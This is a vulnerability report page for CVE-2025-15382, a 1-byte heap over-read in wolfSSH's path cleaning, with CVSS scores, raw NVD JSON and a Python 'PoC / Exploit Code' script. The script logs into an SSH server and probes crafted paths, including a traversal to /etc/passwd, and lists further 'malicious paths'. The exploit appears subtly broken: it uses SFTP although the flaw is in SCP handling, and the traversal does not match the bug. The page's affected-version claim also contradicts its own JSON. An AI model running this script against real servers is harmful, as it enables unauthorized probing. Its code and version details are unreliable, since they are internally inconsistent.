Security Vulnerability Report
中文
CVE-2025-15382 CVSS 8.1 HIGH

CVE-2025-15382

Published: 2026-01-06 18:15:42
Last Modified: 2026-01-12 17:57:21

Description

A heap buffer over-read vulnerability exists in the wolfSSH_CleanPath() function in wolfSSH. An authenticated remote attacker can trigger the issue via crafted SCP path input containing '/./' sequences, resulting in a heap over read by 1 byte.

CVSS Details

CVSS Score
8.1
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:H

Configurations (Affected Products)

cpe:2.3:a:wolfssh:wolfssh:*:*:*:*:*:*:*:* - VULNERABLE
wolfSSH < 1.4.17 (修复版本)
wolfSSH 1.4.16及之前所有版本

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import socket import paramiko # CVE-2025-15382 PoC - wolfSSH wolfSSH_CleanPath Heap Over-Read # This PoC demonstrates exploiting the heap buffer over-read via crafted SCP path def exploit_wolfssh_overread(target_host, target_port, username, password): """ Exploit wolfSSH_CleanPath heap over-read vulnerability Trigger condition: SCP path containing '/./' sequence """ try: # Connect to wolfSSH server ssh_client = paramiko.SSHClient() ssh_client.set_missing_host_key_policy(paramiko.AutoAddPolicy()) ssh_client.connect(target_host, port=target_port, username=username, password=password, timeout=10) # Open SFTP/SCP session sftp = ssh_client.open_sftp() # Crafted path with '/./' sequence to trigger over-read # This path triggers the vulnerability in wolfSSH_CleanPath() malicious_path = '/normal/./path/../../../etc/passwd' try: # Attempt to access the crafted path # This triggers the heap over-read in wolfSSH_CleanPath() sftp.stat(malicious_path) print(f"[+] Path access attempted: {malicious_path}") except IOError as e: # Even if access fails, the over-read may have occurred print(f"[!] Access attempted (over-read may have occurred): {e}") sftp.close() ssh_client.close() print("[+] Exploit completed - check server logs for memory leak indicators") return True except Exception as e: print(f"[-] Exploit failed: {e}") return False # Alternative: Direct packet crafting for SCP protocol def craft_scp_path_overread(): """ Generate malicious SCP path for manual testing """ # The vulnerability is triggered by paths containing '/./' sequences # Example paths that may trigger the vulnerability: malicious_paths = [ '/home/user/./file.txt', '/normal/./path/../../../etc/passwd', '//./' + 'a'*100, '/valid/./' + '../'*10 + '/target' ] print("Malicious paths for testing:") for path in malicious_paths: print(f" - {path}") return malicious_paths if __name__ == "__main__": # Configuration TARGET_HOST = "192.168.1.100" TARGET_PORT = 22 USERNAME = "valid_user" PASSWORD = "valid_password" # Run exploit exploit_wolfssh_overread(TARGET_HOST, TARGET_PORT, USERNAME, PASSWORD)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-15382", "sourceIdentifier": "[email protected]", "published": "2026-01-06T18:15:42.400", "lastModified": "2026-01-12T17:57:20.847", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A heap buffer over-read vulnerability exists in the wolfSSH_CleanPath() function in wolfSSH. An authenticated remote attacker can trigger the issue via crafted SCP path input containing '/./' sequences, resulting in a heap over read by 1 byte."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:L/VI:N/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 5.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "PASSIVE", "vulnConfidentialityImpact": "LOW", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "LOW", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:H", "baseScore": 8.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.2}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-125"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:wolfssh:wolfssh:*:*:*:*:*:*:*:*", "versionStartIncluding": "1.4.12", "versionEndExcluding": "1.4.22", "matchCriteriaId": "49240990-C0F4-4DB2-BA7E-769F7E46D0D3"}]}]}], "references": [{"url": "https://github.com/wolfSSL/wolfssh/pull/859", "source": "[email protected]", "tags": ["Issue Tracking"]}]}}